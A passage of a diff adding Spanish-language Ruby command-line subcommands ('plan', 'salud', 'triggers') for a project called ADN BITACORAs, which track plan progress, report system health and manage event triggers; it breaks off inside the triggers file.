# • Validación de integridad del plan
|
||||
# • Exportación de datos de progreso
|
||||
#
|
||||
# Comandos disponibles:
|
||||
# • adn plan progreso [OPCIONES] — Mostrar progreso actual del plan
|
||||
# • adn plan actualizar [TAREAS] — Marcar tareas como completadas
|
||||
# • adn plan reporte [--formato] — Generar reporte detallado
|
||||
# • adn plan validar — Validar integridad del plan
|
||||
# • adn plan exportar [--output] — Exportar datos de progreso
|
||||
# • adn plan ayuda — Mostrar ayuda completa
|
||||
#
|
||||
# Uso:
|
||||
# ./adn/tools/run plan [SUBCOMANDO] [OPCIONES]
|
||||
|
||||
require 'optparse'
|
||||
require 'date'
|
||||
require 'time'
|
||||
require 'json'
|
||||
require 'yaml'
|
||||
|
||||
# Cargar módulo PlanParser
|
||||
begin
|
||||
require_relative '../parsers/plan'
|
||||
rescue LoadError => e
|
||||
puts "⚠ Advertencia: No se pudo cargar PlanParser: #{e.message}"
|
||||
puts " Asegúrate de que adn/tools/parsers/plan.rb existe"
|
||||
end
|
||||
|
||||
module ADN
|
||||
class SubcomandoPlan
|
||||
require_relative '../core/colores'
|
||||
|
||||
# Ruta por defecto del archivo de plan
|
||||
DEFAULT_PLAN_PATH = File.expand_path('../../docs/plan/260308-1200_Plan_Integral_ADN_BITACORAs.md', __dir__)
|
||||
|
||||
# Inicializa el subcomando con argumentos y logger
|
||||
#
|
||||
# @param args [Array<String>] Argumentos de línea de comandos
|
||||
# @param logger [ADNLogger] Instancia de logger para registro
|
||||
def initialize(args, logger)
|
||||
@args = args
|
||||
@logger = logger
|
||||
@plan_path = DEFAULT_PLAN_PATH
|
||||
end
|
||||
|
||||
# Ejecuta el subcomando según los argumentos proporcionados
|
||||
def ejecutar
|
||||
if @args.empty? || @args[0] == 'ayuda' || @args[0] == 'help' || @args[0] == '-h' || @args[0] == '--help'
|
||||
mostrar_ayuda
|
||||
return
|
||||
end
|
||||
|
||||
subcomando = @args[0]
|
||||
sub_args = @args[1..-1] || []
|
||||
|
||||
case subcomando
|
||||
when 'progreso'
|
||||
comando_progreso(sub_args)
|
||||
when 'actualizar'
|
||||
comando_actualizar(sub_args)
|
||||
when 'reporte'
|
||||
comando_reporte(sub_args)
|
||||
when 'validar'
|
||||
comando_validar(sub_args)
|
||||
when 'exportar'
|
||||
comando_exportar(sub_args)
|
||||
else
|
||||
@logger.error("Subcomando desconocido: #{subcomando}")
|
||||
puts "#{Color::RED}✗ Subcomando desconocido: '#{subcomando}'#{Color::RESET}"
|
||||
puts ""
|
||||
mostrar_ayuda
|
||||
exit 1
|
||||
end
|
||||
rescue Interrupt
|
||||
puts "\n#{Color::YELLOW}⚠ Operación interrumpida por el usuario#{Color::RESET}"
|
||||
@logger.info("Operación de plan interrumpida por usuario")
|
||||
exit 130
|
||||
rescue => e
|
||||
@logger.error("Error en operación de plan: #{e.message}", { backtrace: e.backtrace })
|
||||
puts "#{Color::RED}✗ Error: #{e.message}#{Color::RESET}"
|
||||
puts "#{Color::DIM}#{e.backtrace.first}#{Color::RESET}" if ENV['ADN_DEBUG']
|
||||
exit 1
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
# Comando: progreso - Mostrar progreso actual del plan
|
||||
def comando_progreso(args)
|
||||
opts = { detallado: false, formato: 'texto' }
|
||||
|
||||
parser = OptionParser.new do |opt|
|
||||
opt.banner = "Uso: adn plan progreso [OPCIONES]"
|
||||
opt.on("--detallado", "Mostrar progreso detallado por fase y semana") do
|
||||
opts[:detallado] = true
|
||||
end
|
||||
opt.on("--formato FORMATO", "Formato de salida (texto, json, markdown)") do |f|
|
||||
opts[:formato] = f.downcase
|
||||
end
|
||||
opt.on("--plan RUTA", "Ruta al archivo de plan (default: #{File.basename(@plan_path)})") do |ruta|
|
||||
@plan_path = File.expand_path(ruta)
|
||||
end
|
||||
opt.on("-h", "--help", "Mostrar ayuda") do
|
||||
puts opt
|
||||
exit
|
||||
end
|
||||
end
|
||||
|
||||
begin
|
||||
parser.parse!(args)
|
||||
rescue OptionParser::InvalidOption => e
|
||||
puts "#{Color::RED}✗ Error: #{e.message}#{Color::RESET}"
|
||||
puts parser
|
||||
exit 1
|
||||
end
|
||||
|
||||
puts "#{Color::CYAN}📊 Analizando progreso del plan ADN BITACORAs...#{Color::RESET}"
|
||||
puts " #{Color::DIM}Archivo: #{@plan_path}#{Color::RESET}"
|
||||
puts ""
|
||||
|
||||
begin
|
||||
parser_obj = Plan::PlanParser.new(@plan_path, @logger)
|
||||
parser_obj.parse_file
|
||||
|
||||
if opts[:formato] == 'json'
|
||||
puts parser_obj.progress_report(format: :json)
|
||||
elsif opts[:formato] == 'markdown'
|
||||
puts parser_obj.progress_report(format: :markdown)
|
||||
else
|
||||
# Formato texto (default)
|
||||
puts parser_obj.progress_report(format: :text)
|
||||
|
||||
if opts[:detallado]
|
||||
puts ""
|
||||
puts "#{Color::BOLD}📈 DETALLE POR FASES Y SEMANAS:#{Color::RESET}"
|
||||
|
||||
stats = parser_obj.progress_stats
|
||||
stats[:phases].each do |phase|
|
||||
puts ""
|
||||
puts " #{Color::CYAN}FASE #{phase[:number]}: #{phase[:name]}#{Color::RESET}"
|
||||
puts " Progreso: #{phase[:percentage]}% (#{phase[:completed]}/#{phase[:total]} tareas)"
|
||||
|
||||
# Mostrar tareas de esta fase
|
||||
phase_tasks = parser_obj.tasks_by_phase(phase[:number])
|
||||
completed_tasks = phase_tasks.select { |t| t[:completed] }
|
||||
pending_tasks = phase_tasks.reject { |t| t[:completed] }
|
||||
|
||||
if completed_tasks.any?
|
||||
puts " #{Color::GREEN}✓ Completadas:#{Color::RESET}"
|
||||
completed_tasks.first(3).each do |task|
|
||||
puts " • #{task[:id]}: #{task[:description]}"
|
||||
end
|
||||
if completed_tasks.size > 3
|
||||
puts " ... y #{completed_tasks.size - 3} más"
|
||||
end
|
||||
end
|
||||
|
||||
if pending_tasks.any?
|
||||
puts " #{Color::YELLOW}⏳ Pendientes:#{Color::RESET}"
|
||||
pending_tasks.first(3).each do |task|
|
||||
puts " • #{task[:id]}: #{task[:description]}"
|
||||
end
|
||||
if pending_tasks.size > 3
|
||||
puts " ... y #{pending_tasks.size - 3} más"
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
rescue => e
|
||||
puts "#{Color::RED}✗ Error analizando el plan: #{e.message}#{Color::RESET}"
|
||||
puts " #{Color::DIM}Asegúrate de que el archivo existe y tiene el formato correcto#{Color::RESET}"
|
||||
exit 1
|
||||
end
|
||||
end
|
||||
|
||||
# Comando: actualizar - Marcar tareas como completadas
|
||||
def comando_actualizar(args)
|
||||
if args.empty?
|
||||
puts "#{Color::YELLOW}⚠ Se requiere al menos una tarea para actualizar#{Color::RESET}"
|
||||
puts " Uso: adn plan actualizar TAREA1 [TAREA2 ...] [OPCIONES]"
|
||||
exit 1
|
||||
end
|
||||
|
||||
opts = { notas: nil, guardar: true }
|
||||
|
||||
parser = OptionParser.new do |opt|
|
||||
opt.banner = "Uso: adn plan actualizar TAREA1 [TAREA2 ...] [OPCIONES]"
|
||||
opt.on("--notas TEXTO", "Agregar notas a las tareas actualizadas") do |texto|
|
||||
opts[:notas] = texto
|
||||
end
|
||||
opt.on("--no-guardar", "No guardar cambios en el archivo (solo simular)") do
|
||||
opts[:guardar] = false
|
||||
end
|
||||
opt.on("--plan RUTA", "Ruta al archivo de plan") do |ruta|
|
||||
@plan_path = File.expand_path(ruta)
|
||||
end
|
||||
opt.on("-h", "--help", "Mostrar ayuda") do
|
||||
puts opt
|
||||
exit
|
||||
end
|
||||
end
|
||||
|
||||
# Separar tareas de opciones
|
||||
task_args = []
|
||||
begin
|
||||
parser.parse!(args)
|
||||
task_args = args # Los argumentos restantes son las tareas
|
||||
rescue OptionParser::InvalidOption => e
|
||||
puts "#{Color::RED}✗ Error: #{e.message}#{Color::RESET}"
|
||||
puts parser
|
||||
exit 1
|
||||
end
|
||||
|
||||
if task_args.empty?
|
||||
puts "#{Color::YELLOW}⚠ No se especificaron tareas para actualizar#{Color::RESET}"
|
||||
puts " Ejemplo: adn plan actualizar 1.1 1.2 2.3"
|
||||
exit 1
|
||||
end
|
||||
|
||||
puts "#{Color::CYAN}🔄 Actualizando tareas del plan ADN BITACORAs...#{Color::RESET}"
|
||||
puts " #{Color::DIM}Tareas: #{task_args.join(', ')}#{Color::RESET}"
|
||||
puts " #{Color::DIM}Notas: #{opts[:notas] || '(ninguna)'}#{Color::RESET}"
|
||||
puts " #{Color::DIM}Guardar: #{opts[:guardar]}#{Color::RESET}"
|
||||
puts ""
|
||||
|
||||
begin
|
||||
parser_obj = Plan::PlanParser.new(@plan_path, @logger)
|
||||
parser_obj.parse_file
|
||||
|
||||
resultados = parser_obj.complete_tasks(task_args, opts[:notas])
|
||||
|
||||
if resultados[:updated].any?
|
||||
puts "#{Color::GREEN}✅ Tareas actualizadas exitosamente:#{Color::RESET}"
|
||||
resultados[:updated].each do |task_id|
|
||||
task = parser_obj.find_task_by_id(task_id)
|
||||
puts " • #{task_id}: #{task[:description]}"
|
||||
end
|
||||
|
||||
if opts[:guardar]
|
||||
if parser_obj.save_changes
|
||||
puts ""
|
||||
puts "#{Color::GREEN}✓ Cambios guardados en #{@plan_path}#{Color::RESET}"
|
||||
else
|
||||
puts ""
|
||||
puts "#{Color::YELLOW}⚠ No se realizaron cambios o no se pudieron guardar#{Color::RESET}"
|
||||
end
|
||||
else
|
||||
puts ""
|
||||
puts "#{Color::YELLOW}⚠ Modo simulación - cambios no guardados#{Color::RESET}"
|
||||
puts " Usa --guardar para persistir los cambios"
|
||||
end
|
||||
end
|
||||
|
||||
if resultados[:failed].any?
|
||||
puts ""
|
||||
puts "#{Color::YELLOW}⚠ Tareas no encontradas:#{Color::RESET}"
|
||||
resultados[:failed].each do |task_id|
|
||||
puts " • #{task_id}"
|
||||
end
|
||||
end
|
||||
|
||||
# Mostrar progreso actualizado
|
||||
if resultados[:updated].any?
|
||||
puts ""
|
||||
stats = parser_obj.progress_stats
|
||||
puts " #{Color::BOLD}Progreso actualizado: #{stats[:overall_percentage]}%#{Color::RESET}"
|
||||
puts " (#{stats[:completed_tasks]}/#{stats[:total_tasks]} tareas completadas)"
|
||||
end
|
||||
|
||||
rescue => e
|
||||
puts "#{Color::RED}✗ Error actualizando tareas: #{e.message}#{Color::RESET}"
|
||||
exit 1
|
||||
end
|
||||
end
|
||||
|
||||
# Comando: reporte - Generar reporte detallado
|
||||
def comando_reporte(args)
|
||||
opts = { formato: 'texto', output: nil }
|
||||
|
||||
parser = OptionParser.new do |opt|
|
||||
opt.banner = "Uso: adn plan reporte [OPCIONES]"
|
||||
opt.on("--formato FORMATO", "Formato del reporte (texto, json, markdown)") do |f|
|
||||
opts[:formato] = f.downcase
|
||||
end
|
||||
opt.on("--output ARCHIVO", "Guardar reporte en archivo (en lugar de mostrar)") do |archivo|
|
||||
opts[:output] = archivo
|
||||
end
|
||||
opt.on("--plan RUTA", "Ruta al archivo de plan") do |ruta|
|
||||
@plan_path = File.expand_path(ruta)
|
||||
end
|
||||
opt.on("-h", "--help", "Mostrar ayuda") do
|
||||
puts opt
|
||||
exit
|
||||
end
|
||||
end
|
||||
|
||||
begin
|
||||
parser.parse!(args)
|
||||
rescue OptionParser::InvalidOption => e
|
||||
puts "#{Color::RED}✗ Error: #{e.message}#{Color::RESET}"
|
||||
puts parser
|
||||
exit 1
|
||||
end
|
||||
|
||||
puts "#{Color::CYAN}📋 Generando reporte del plan ADN BITACORAs...#{Color::RESET}"
|
||||
puts " #{Color::DIM}Formato: #{opts[:formato]}#{Color::RESET}"
|
||||
puts " #{Color::DIM}Archivo: #{@plan_path}#{Color::RESET}"
|
||||
puts ""
|
||||
|
||||
begin
|
||||
parser_obj = Plan::PlanParser.new(@plan_path, @logger)
|
||||
parser_obj.parse_file
|
||||
|
||||
reporte = parser_obj.progress_report(format: opts[:formato].to_sym)
|
||||
|
||||
if opts[:output]
|
||||
File.write(opts[:output], reporte, encoding: 'UTF-8')
|
||||
puts "#{Color::GREEN}✅ Reporte guardado en: #{opts[:output]}#{Color::RESET}"
|
||||
puts " #{Color::DIM}Tamaño: #{reporte.bytesize} bytes#{Color::RESET}"
|
||||
else
|
||||
puts reporte
|
||||
end
|
||||
|
||||
rescue => e
|
||||
puts "#{Color::RED}✗ Error generando reporte: #{e.message}#{Color::RESET}"
|
||||
exit 1
|
||||
end
|
||||
end
|
||||
|
||||
# Comando: validar - Validar integridad del plan
|
||||
def comando_validar(args)
|
||||
opts = { reparar: false }
|
||||
|
||||
parser = OptionParser.new do |opt|
|
||||
opt.banner = "Uso: adn plan validar [OPCIONES]"
|
||||
opt.on("--reparar", "Intentar reparar problemas automáticamente") do
|
||||
opts[:reparar] = true
|
||||
end
|
||||
opt.on("--plan RUTA", "Ruta al archivo de plan") do |ruta|
|
||||
@plan_path = File.expand_path(ruta)
|
||||
end
|
||||
opt.on("-h", "--help", "Mostrar ayuda") do
|
||||
puts opt
|
||||
exit
|
||||
end
|
||||
end
|
||||
|
||||
begin
|
||||
parser.parse!(args)
|
||||
rescue OptionParser::InvalidOption => e
|
||||
puts "#{Color::RED}✗ Error: #{e.message}#{Color::RESET}"
|
||||
puts parser
|
||||
exit 1
|
||||
end
|
||||
|
||||
puts "#{Color::CYAN}🔍 Validando integridad del plan ADN BITACORAs...#{Color::RESET}"
|
||||
puts " #{Color::DIM}Archivo: #{@plan_path}#{Color::RESET}"
|
||||
puts " #{Color::DIM}Reparar: #{opts[:reparar]}#{Color::RESET}"
|
||||
puts ""
|
||||
|
||||
begin
|
||||
parser_obj = Plan::PlanParser.new(@plan_path, @logger)
|
||||
parser_obj.parse_file
|
||||
|
||||
resultados = parser_obj.validate_plan
|
||||
|
||||
if resultados[:valid]
|
||||
puts "#{Color::GREEN}✅ Plan válido#{Color::RESET}"
|
||||
puts " • #{resultados[:tasks_count]} tareas detectadas"
|
||||
puts " • #{resultados[:phases_count]} fases detectadas"
|
||||
else
|
||||
puts "#{Color::RED}✗ Plan contiene errores:#{Color::RESET}"
|
||||
resultados[:errors].each do |error|
|
||||
puts " • #{error}"
|
||||
end
|
||||
end
|
||||
|
||||
if resultados[:warnings].any?
|
||||
puts ""
|
||||
puts "#{Color::YELLOW}⚠ Advertencias encontradas:#{Color::RESET}"
|
||||
resultados[:warnings].each do |warning|
|
||||
puts " • #{warning}"
|
||||
end
|
||||
end
|
||||
|
||||
if opts[:reparar] && (!resultados[:valid] || resultados[:warnings].any?)
|
||||
puts ""
|
||||
puts "#{Color::CYAN}🔄 Intentando reparar automáticamente...#{Color::RESET}"
|
||||
# Aquí se podrían implementar reparaciones automáticas
|
||||
puts " #{Color::DIM}(Reparación automática no implementada aún)#{Color::RESET}"
|
||||
end
|
||||
|
||||
rescue => e
|
||||
puts "#{Color::RED}✗ Error validando el plan: #{e.message}#{Color::RESET}"
|
||||
exit 1
|
||||
end
|
||||
end
|
||||
|
||||
# Comando: exportar - Exportar datos de progreso
|
||||
def comando_exportar(args)
|
||||
opts = { formato: 'json', output: nil }
|
||||
|
||||
parser = OptionParser.new do |opt|
|
||||
opt.banner = "Uso: adn plan exportar [OPCIONES]"
|
||||
opt.on("--formato FORMATO", "Formato de exportación (json, yaml)") do |f|
|
||||
opts[:formato] = f.downcase
|
||||
end
|
||||
opt.on("--output ARCHIVO", "Archivo de salida (default: progreso_YYYYMMDD.json)") do |archivo|
|
||||
opts[:output] = archivo
|
||||
end
|
||||
opt.on("--plan RUTA", "Ruta al archivo de plan") do |ruta|
|
||||
@plan_path = File.expand_path(ruta)
|
||||
end
|
||||
opt.on("-h", "--help", "Mostrar ayuda") do
|
||||
puts opt
|
||||
exit
|
||||
end
|
||||
end
|
||||
|
||||
begin
|
||||
parser.parse!(args)
|
||||
rescue OptionParser::InvalidOption => e
|
||||
puts "#{Color::RED}✗ Error: #{e.message}#{Color::RESET}"
|
||||
puts parser
|
||||
exit 1
|
||||
end
|
||||
|
||||
puts "#{Color::CYAN}💾 Exportando datos de progreso del plan...#{Color::RESET}"
|
||||
puts " #{Color::DIM}Formato: #{opts[:formato]}#{Color::RESET}"
|
||||
puts " #{Color::DIM}Archivo: #{@plan_path}#{Color::RESET}"
|
||||
puts ""
|
||||
|
||||
begin
|
||||
parser_obj = Plan::PlanParser.new(@plan_path, @logger)
|
||||
parser_obj.parse_file
|
||||
|
||||
if opts[:formato] == 'yaml'
|
||||
datos = {
|
||||
metadata: parser_obj.instance_variable_get(:@metadata),
|
||||
progress: parser_obj.progress_stats,
|
||||
tasks: parser_obj.instance_variable_get(:@tasks).map { |t| t.reject { |k| k == :line_number } },
|
||||
phases: parser_obj.instance_variable_get(:@phases)
|
||||
}
|
||||
contenido = YAML.dump(datos)
|
||||
extension = '.yaml'
|
||||
else
|
||||
contenido = parser_obj.export_progress
|
||||
extension = '.json'
|
||||
end
|
||||
|
||||
output_file = opts[:output] || "progreso_#{Time.now.strftime('%Y%m%d')}#{extension}"
|
||||
|
||||
File.write(output_file, contenido, encoding: 'UTF-8')
|
||||
puts "#{Color::GREEN}✅ Datos exportados exitosamente:#{Color::RESET}"
|
||||
puts " • Archivo: #{output_file}"
|
||||
puts " • Tamaño: #{contenido.bytesize} bytes"
|
||||
puts " • Tareas: #{parser_obj.instance_variable_get(:@tasks).size}"
|
||||
puts " • Fases: #{parser_obj.instance_variable_get(:@phases).size}"
|
||||
|
||||
rescue => e
|
||||
puts "#{Color::RED}✗ Error exportando datos: #{e.message}#{Color::RESET}"
|
||||
exit 1
|
||||
end
|
||||
end
|
||||
|
||||
# Muestra la ayuda general del subcomando
|
||||
def mostrar_ayuda
|
||||
puts "#{Color::BOLD}Uso: ./adn/tools/run plan [SUBCOMANDO] [OPCIONES]#{Color::RESET}"
|
||||
puts ""
|
||||
puts "#{Color::BOLD}Subcomandos disponibles:#{Color::RESET}"
|
||||
puts ""
|
||||
puts " #{Color::CYAN}progreso [OPCIONES]#{Color::RESET} Mostrar progreso actual del plan"
|
||||
puts " #{Color::CYAN}actualizar TAREAS [OPCIONES]#{Color::RESET} Marcar tareas como completadas"
|
||||
puts " #{Color::CYAN}reporte [OPCIONES]#{Color::RESET} Generar reporte detallado"
|
||||
puts " #{Color::CYAN}validar [OPCIONES]#{Color::RESET} Validar integridad del plan"
|
||||
puts " #{Color::CYAN}exportar [OPCIONES]#{Color::RESET} Exportar datos de progreso"
|
||||
puts " #{Color::CYAN}ayuda#{Color::RESET} Mostrar esta ayuda"
|
||||
puts ""
|
||||
puts "#{Color::BOLD}Opciones comunes:#{Color::RESET}"
|
||||
puts " #{Color::DIM}--plan RUTA#{Color::RESET} Ruta al archivo de plan"
|
||||
puts " #{Color::DIM}--formato FORMATO#{Color::RESET} Formato de salida (texto, json, markdown, yaml)"
|
||||
puts " #{Color::DIM}--output ARCHIVO#{Color::RESET} Guardar salida en archivo"
|
||||
puts ""
|
||||
puts "#{Color::BOLD}Ejemplos:#{Color::RESET}"
|
||||
puts " #{Color::DIM}./adn/tools/run plan progreso --detallado#{Color::RESET}"
|
||||
puts " #{Color::DIM}./adn/tools/run plan actualizar 1.1 1.2 2.3 --notas \"Implementado\"#{Color::RESET}"
|
||||
puts " #{Color::DIM}./adn/tools/run plan reporte --formato markdown --output reporte.md#{Color::RESET}"
|
||||
puts " #{Color::DIM}./adn/tools/run plan validar --reparar#{Color::RESET}"
|
||||
puts " #{Color::DIM}./adn/tools/run plan exportar --formato json --output progreso.json#{Color::RESET}"
|
||||
puts ""
|
||||
puts "#{Color::YELLOW}⚠ Archivo de plan por defecto:#{Color::RESET} #{File.basename(DEFAULT_PLAN_PATH)}"
|
||||
puts " #{Color::DIM}#{DEFAULT_PLAN_PATH}#{Color::RESET}"
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,121 @@
|
||||
# frozen_string_literal: true
|
||||
|
||||
require 'optparse'
|
||||
require 'json'
|
||||
require_relative '../core/colores'
|
||||
|
||||
class SubcomandoSalud
|
||||
def initialize(args, logger)
|
||||
@args = args
|
||||
@logger = logger
|
||||
@opciones = { dashboard: false, json: false }
|
||||
end
|
||||
|
||||
def ejecutar
|
||||
parser = OptionParser.new do |opts|
|
||||
opts.banner = "Uso: ./adn/tools/run salud [OPCIONES]"
|
||||
opts.separator ""
|
||||
opts.separator "Muestra salud general del sistema ADN"
|
||||
opts.separator ""
|
||||
opts.separator "Opciones:"
|
||||
opts.on("--dashboard", "Mostrar en formato dashboard (no implementado)") do
|
||||
@opciones[:dashboard] = true
|
||||
end
|
||||
opts.on("--json", "Salida en formato JSON") do
|
||||
@opciones[:json] = true
|
||||
end
|
||||
opts.on("-h", "--help", "Mostrar esta ayuda") do
|
||||
puts opts
|
||||
exit
|
||||
end
|
||||
end
|
||||
|
||||
begin
|
||||
parser.parse!(@args)
|
||||
rescue OptionParser::InvalidOption => e
|
||||
@logger.error("Opción inválida: #{e.message}")
|
||||
puts parser
|
||||
exit 1
|
||||
end
|
||||
|
||||
mostrar_salud
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
def mostrar_salud
|
||||
@logger.info("Generando reporte de salud del ADN")
|
||||
|
||||
datos = {
|
||||
timestamp: Time.now.utc.iso8601,
|
||||
hebras_adn: contar_hebras_adn,
|
||||
bitacoras: contar_bitacoras,
|
||||
nodos: contar_nodos,
|
||||
proyectos: contar_proyectos,
|
||||
errores_recientes: buscar_errores_recientes
|
||||
}
|
||||
|
||||
if @opciones[:json]
|
||||
puts JSON.pretty_generate(datos)
|
||||
return
|
||||
end
|
||||
|
||||
if @opciones[:dashboard]
|
||||
puts "#{Color::YELLOW}⚠ El dashboard será implementado en Fase 3#{Color::RESET}"
|
||||
# TODO: Implementar dashboard en Fase 3
|
||||
end
|
||||
|
||||
# Mostrar en formato legible
|
||||
puts "#{Color::CYAN}🧬 Salud del Sistema ADN#{Color::RESET}"
|
||||
puts "#{Color::DIM}#{'-' * 60}#{Color::RESET}"
|
||||
puts " #{Color::GREEN}Hebras ADN:#{Color::RESET} #{datos[:hebras_adn]} / 7"
|
||||
puts " #{Color::GREEN}Bitácoras:#{Color::RESET} #{datos[:bitacoras]}"
|
||||
puts " #{Color::GREEN}Nodos registrados:#{Color::RESET} #{datos[:nodos]}"
|
||||
puts " #{Color::GREEN}Proyectos activos:#{Color::RESET} #{datos[:proyectos]}"
|
||||
|
||||
if datos[:errores_recientes] > 0
|
||||
puts " #{Color::RED}Errores recientes:#{Color::RESET} #{datos[:errores_recientes]}"
|
||||
else
|
||||
puts " #{Color::GREEN}Errores recientes:#{Color::RESET} 0"
|
||||
end
|
||||
|
||||
puts "#{Color::DIM}#{'-' * 60}#{Color::RESET}"
|
||||
puts "#{Color::DIM}Para más detalles: ./adn/tools/run salud --json#{Color::RESET}"
|
||||
|
||||
@logger.exito("Reporte de salud generado")
|
||||
end
|
||||
|
||||
def contar_hebras_adn
|
||||
Dir.glob(File.join(ADN::PROJECT_ROOT, 'adn', "*.md")).count
|
||||
end
|
||||
|
||||
def contar_bitacoras
|
||||
Dir.glob(File.join(ADN::BITACORAS_DIR, "*.md")).count
|
||||
end
|
||||
|
||||
def contar_nodos
|
||||
Dir.glob(File.join(ADN::NODOS_DIR, "*.md")).count
|
||||
end
|
||||
|
||||
def contar_proyectos
|
||||
Dir.glob(File.join(ADN::PROYECTOS_DIR, "*.md")).count
|
||||
end
|
||||
|
||||
def buscar_errores_recientes
|
||||
# Buscar en logs de hoy
|
||||
log_hoy = File.join(ADN::LOGS_DIR, "#{Date.today}.log")
|
||||
return 0 unless File.exist?(log_hoy)
|
||||
|
||||
errores = 0
|
||||
File.foreach(log_hoy) do |linea|
|
||||
begin
|
||||
entrada = JSON.parse(linea)
|
||||
errores += 1 if entrada['nivel'] == 'ERROR'
|
||||
rescue JSON::ParserError
|
||||
next
|
||||
end
|
||||
end
|
||||
|
||||
errores
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,304 @@
|
||||
# frozen_string_literal: true
|
||||
|
||||
# adn/tools/subcomando_triggers.rb — Subcomando para gestión del sistema de triggers ADN
|
||||
# ================================================================================
|
||||
# Este subcomando permite gestionar el sistema de triggers que implementa
|
||||
# el Principio de Armonía Integral mediante la propagación automática de cambios.
|
||||
#
|
||||
# Integrado con: ADN::Triggers (adn/tools/triggers.rb)
|
||||
# Configuración: adn/triggers.yml
|
||||
#
|
||||
# 📅 Última actualización: 2026-03-07 (Fase 2: Automatización Inteligente)
|
||||
# 📚 Referencia: docs/plan/260307-1400_Plan_Mejoras_ADN.md
|
||||
|
||||
require 'optparse'
|
||||
require_relative '../core/triggers'
|
||||
require_relative '../core/eventos'
|
||||
|
||||
module ADN
|
||||
class SubcomandoTriggers
|
||||
def initialize(args, logger)
|
||||
@args = args
|
||||
@logger = logger
|
||||
@opciones = {
|
||||
test: false,
|
||||
forzar: false,
|
||||
listar: false,
|
||||
registrar: false,
|
||||
limpiar: false,
|
||||
trigger_id: nil,
|
||||
ayuda: false
|
||||
}
|
||||
end
|
||||
|
||||
# Ejecuta el subcomando con las opciones especificadas
|
||||
def ejecutar
|
||||
parser = crear_parser
|
||||
|
||||
begin
|
||||
parser.parse!(@args)
|
||||
rescue OptionParser::InvalidOption => e
|
||||
@logger.error("Opción inválida: #{e.message}")
|
||||
puts parser
|
||||
exit 1
|
||||
end
|
||||
|
||||
if @opciones[:ayuda] || @args.empty? && !@opciones[:listar] && !@opciones[:limpiar] && !@opciones[:registrar]
|
||||
mostrar_ayuda(parser)
|
||||
return
|
||||
end
|
||||
|
||||
# Cargar configuración primero
|
||||
cargar_configuracion
|
||||
|
||||
# Ejecutar acción según opciones
|
||||
if @opciones[:listar]
|
||||
listar_triggers
|
||||
elsif @opciones[:registrar]
|
||||
registrar_triggers
|
||||
elsif @opciones[:limpiar]
|
||||
limpiar_triggers
|
||||
elsif @opciones[:test]
|
||||
probar_trigger
|
||||
else
|
||||
ejecutar_triggers
|
||||
end
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
# Crea el parser de opciones
|
||||
def crear_parser
|
||||
OptionParser.new do |opts|
|
||||
opts.banner = "Uso: ./adn/tools/run triggers [OPCIONES]"
|
||||
opts.separator ""
|
||||
opts.separator "Gestiona el sistema de triggers para sincronización automática del ADN"
|
||||
opts.separator ""
|
||||
opts.separator "Opciones:"
|
||||
|
||||
opts.on("--test [TRIGGER_ID]", "Probar un trigger específico (modo simulación)") do |trigger_id|
|
||||
@opciones[:test] = true
|
||||
@opciones[:trigger_id] = trigger_id
|
||||
end
|
||||
|
||||
opts.on("--forzar", "Ejecutar triggers incluso si sistema deshabilitado") do
|
||||
@opciones[:forzar] = true
|
||||
end
|
||||
|
||||
opts.on("--listar", "Listar todos los triggers configurados") do
|
||||
@opciones[:listar] = true
|
||||
end
|
||||
|
||||
opts.on("--registrar", "Registrar triggers en el bus de eventos") do
|
||||
@opciones[:registrar] = true
|
||||
end
|
||||
|
||||
opts.on("--limpiar", "Limpiar todos los triggers registrados") do
|
||||
@opciones[:limpiar] = true
|
||||
end
|
||||
|
||||
opts.on("-h", "--help", "Mostrar esta ayuda") do
|
||||
@opciones[:ayuda] = true
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Muestra la ayuda del subcomando
|
||||
def mostrar_ayuda(parser)
|
||||
puts parser
|
||||
puts ""
|
||||
puts "Descripción:"
|
||||
puts " El sistema de triggers implementa el Principio de Armonía Integral al propagar"
|
||||
puts " automáticamente cambios entre diferentes componentes del sistema ADN."
|
||||
puts ""
|
||||
puts " Triggers definidos en: adn/triggers.yml"
|
||||
puts " Bus de eventos: adn/tools/eventos.rb"
|
||||
puts " Motor de triggers: adn/tools/triggers.rb"
|
||||
puts ""
|
||||
puts "Ejemplos:"
|
||||
puts " ./adn/tools/run triggers --listar"
|
||||
puts " ./adn/tools/run triggers --registrar"
|
||||
puts " ./adn/tools/run triggers --test bitacoras_0"
|
||||
puts " ./adn/tools/run triggers --forzar"
|
||||
puts " ./adn/tools/run triggers --limpiar"
|
||||
puts ""
|
||||
puts "📚 Documentación: docs/plan/260307-1400_Plan_Mejoras_ADN.md"
|
||||
end
|
||||
|
||||
# Carga la configuración de triggers
|
||||
def cargar_configuracion
|
||||
@logger.info("Cargando configuración de triggers...")
|
||||
|
||||
begin
|
||||
@triggers = ADN::Triggers.instance
|
||||
@triggers.cargar_configuracion
|
||||
@logger.exito("Configuración de triggers cargada")
|
||||
rescue => e
|
||||
@logger.error("Error cargando configuración: #{e.message}")
|
||||
exit 1
|
||||
end
|
||||
end
|
||||
|
||||
# Lista todos los triggers configurados
|
||||
def listar_triggers
|
||||
@logger.info("Listando triggers configurados...")
|
||||
|
||||
triggers = @triggers.lista_triggers
|
||||
|
||||
if triggers.empty?
|
||||
puts "#{Color::YELLOW}ℹ No se encontraron triggers configurados#{Color::RESET}"
|
||||
return
|
||||
end
|
||||
|
||||
puts "#{Color::CYAN}📋 Triggers configurados (#{triggers.length} total)#{Color::RESET}"
|
||||
puts "#{Color::DIM}#{'-' * 80}#{Color::RESET}"
|
||||
|
||||
triggers.each do |trigger|
|
||||
estado = trigger[:habilitado] ? "#{Color::GREEN}✓#{Color::RESET}" : "#{Color::DIM}✗#{Color::RESET}"
|
||||
suscriptores = trigger[:suscriptores_registrados] > 0 ?
|
||||
"#{Color::CYAN}(#{trigger[:suscriptores_registrados]} susc.)#{Color::RESET}" : ""
|
||||
|
||||
puts " #{estado} #{trigger[:id]} #{suscriptores}"
|
||||
puts " #{Color::DIM}Evento:#{Color::RESET} #{trigger[:evento]}"
|
||||
puts " #{Color::DIM}Acción:#{Color::RESET} #{trigger[:accion]}"
|
||||
|
||||
if trigger[:condicion] && !trigger[:condicion].empty?
|
||||
